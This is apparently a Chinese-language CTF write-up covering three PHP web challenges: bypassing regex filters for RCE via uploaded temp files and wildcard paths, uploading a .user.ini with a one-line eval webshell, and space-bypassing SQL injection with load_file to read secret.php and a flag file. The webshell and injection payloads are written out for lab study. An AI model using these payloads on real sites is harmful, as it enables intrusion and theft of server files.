红包题第二弹
看到源码里面的提示
?cmd=phpinfo();
看到源码
kk
关键点就是有两个正则表达式
第一个
preg_match("/[A-Za-oq-z0-9$]+/",$cmd)
第二个
preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\（|\）|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)
从第一个发现小写字母p没有被过滤掉，同时也是做了许多的过滤
是无字母数字RCE，并且不能用取反，异或，自增去绕过
因为过滤了~和^，异或和取反都不用考虑了
其他师傅的做法
利用上传的临时文件去命令执行getshell
基本思路就是上传?，然后利用eval($cmd)去执行它。既然知道临时文件夹下的命名规则，也没有过滤通配符?，构造./??p/p?p??????就能读到这个文件。
点就相当于source
用来执行文件。source /home/user/bash 等同于 . /home/user/bash
问号?代表一个任意字符，通配符/??p/p?p??????匹配/tmp/phpxxxxxx
临时文件目录
php上传文件后会将文件存储在临时文件夹，然后用move_uploaded_file()
函数将上传的文件移动到新位置。临时文件夹可通过php.ini的upload_tmp_dir 指定，默认是/tmp目录。
规则
默认为 php+4或者6位随机数字和大小写字母，在windows下有tmp后缀，linux没有。比如windows下：phpXXXXXX.tmp
linux下：phpXXXXXX。
后面的就有点整不懂了
先放一放
web13
文件上传的窗口
先上传php文件看，出现报错
访问upload.php
是不是备份文件，这个备份文件是系统自己产生的
加上.bak，
<?php header("content-type:text/html;charset=utf-8");$filename = $_FILES['file']['name'];$temp_name = $_FILES['file']['tmp_name'];$size = $_FILES['file']['size'];$error = $_FILES['file']['error'];$arr = pathinfo($filename);$ext_suffix = $arr['extension'];if ($size > 24){die("error file zise");}if (strlen($filename)>9){die("error file name");}if(strlen($ext_suffix)>3){die("error suffix");}if(preg_match("/php/i",$ext_suffix)){die("error suffix");}if(preg_match("/php/i"),$filename)){die("error file name");}if (move_uploaded_file($temp_name, './'.$filename)){echo "文件上传成功！";}else{echo "文件上传失败！";}?>
拓展名只能读取一个，且不能为php，文件的大小要小于24字节，不能有php
先传入.user.ini,进行写入
auto_prepend_file=1.txt
也就是后面传入的文件会以php的形式打开
传入1.txt
<?= @eval($_POST[1]);?>
连接显示返回数据为空
j检查一下，是已经上传成功的
glob() 函数返回匹配指定模式的文件名或目录
用函数看看目录下有什么文件
?a=print_r(scandir('.'));或者
/?a=print_r(glob("*")); 
尝试读取
?a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
获取flag
web14
源代码直接显示
<?php
include("secret.php");if(isset($_GET['c'])){$c = intval($_GET['c']);sleep($c);switch ($c) {case 1:echo '$url';break;case 2:echo '@A@';break;case 555555:echo $url;case 44444:echo "@A@";break;case 3333:echo $url;break;case 222:echo '@A@';break;case 222:echo '@A@';break;case 3333:echo $url;break;case 44444:echo '@A@';case 555555:echo $url;break;case 3:echo '@A@';case 6000000:echo "$url";case 1:echo '@A@';break;}
}highlight_file(__FILE__); 先可以尝试一下get
当我们输入c=3
刚开始的时候没有觉得什么奇怪的，后来想会不会是后面的文件路径
加上试一下
看到新的登录框
在尝试一下admin的时候，发现URL里面出现一个新的参数query=admin
query=1和2还有3有回显加上字符就没有了，应该就是数字型注入了,并且过滤掉空格
刚刚里面出现过一文件secret.php
在index.php中包含了一个secret.php，先读这个文件试试
load_file函数可以轻松读取本地文件的全部或部分内容
eg:load_file('/home/user/test.txt');
?query=-1/**/union/**/select/**/load_file("/var/www/html/secret.php")# 
可以看到flag实际上是在：/real_flag_is_here，所以读这个文件
?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')
